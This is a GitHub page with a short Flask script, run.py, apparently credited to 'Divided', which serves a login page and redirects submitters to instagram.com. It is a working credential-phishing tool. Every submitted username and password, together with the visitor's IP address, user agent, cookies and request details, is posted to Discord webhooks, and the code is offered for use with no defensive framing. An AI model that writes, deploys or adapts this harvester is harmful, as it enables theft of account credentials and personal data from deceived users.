-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrun.py
86 lines (73 loc) · 2.67 KB
/
run.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# by Divided
# www.linktr.ee/cantstopdivided
# discord.gg/6MdgHjbyYh
import random
import time
from flask import Flask, render_template, request, make_response, redirect
import requests
app = Flask(__name__)
# ADD AS MANY WEBHOOKS AS YOU WANT UWU
WEBHOOK_URLS = [
"webhook-1",
"webhook-2",
"webhook-3",
]
def send_to_webhooks(log_entry):
discord_payload = {
"content": log_entry
}
for url in WEBHOOK_URLS:
requests.post(url, json=discord_payload)
@app.route('/', methods=['GET', 'POST'])
def home():
start_time = time.time()
if request.method == 'POST':
data = request.form
if 'username' in data and 'password' in data:
response = make_response(redirect("https://instagram.com"))
duration = time.time() - start_time
log_request(request, response, duration)
return response
response = make_response(render_template('login.html'))
duration = time.time() - start_time
log_request(request, response, duration)
else:
response = make_response(render_template('login.html'))
duration = time.time() - start_time
log_request(request, response, duration)
return response
def log_request(req, response, duration):
user_id = random.randint(100, 999)
real_ip = req.headers.get('X-Forwarded-For', req.remote_addr).split(',')[0]
ip_address = req.remote_addr
user_agent = req.headers.get('User-Agent')
timestamp = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime())
method = req.method
content_type = req.content_type
status_code = response.status_code
request_path = req.path
query_params = req.args
referer = req.headers.get('Referer', '')
session_id = request.cookies.get('session_id', 'N/A')
if req.is_json:
data = req.get_json()
else:
data = req.form
log_entry = f"# USER {user_id}\n# {'-' * 80}\n"
log_entry += f"Timestamp: {timestamp}\n"
log_entry += f"IP Address (direct): {ip_address}\n"
log_entry += f"Real Client IP: {real_ip}\n"
log_entry += f"User Agent: {user_agent}\n"
log_entry += f"Request Method: {method}\n"
log_entry += f"Content Type: {content_type}\n"
log_entry += f"Status Code: {status_code}\n"
log_entry += f"Request Duration: {duration:.3f}s\n"
log_entry += f"Request Path: {request_path}\n"
log_entry += f"Query Parameters: {query_params}\n"
log_entry += f"Referer: {referer}\n"
log_entry += f"Session ID: {session_id}\n"
log_entry += f"Request Data:\n{data}\n\n"
log_entry += f"# {'-' * 80}\n\n"
send_to_webhooks(log_entry)
if __name__ == '__main__':
app.run(debug=True, port=80)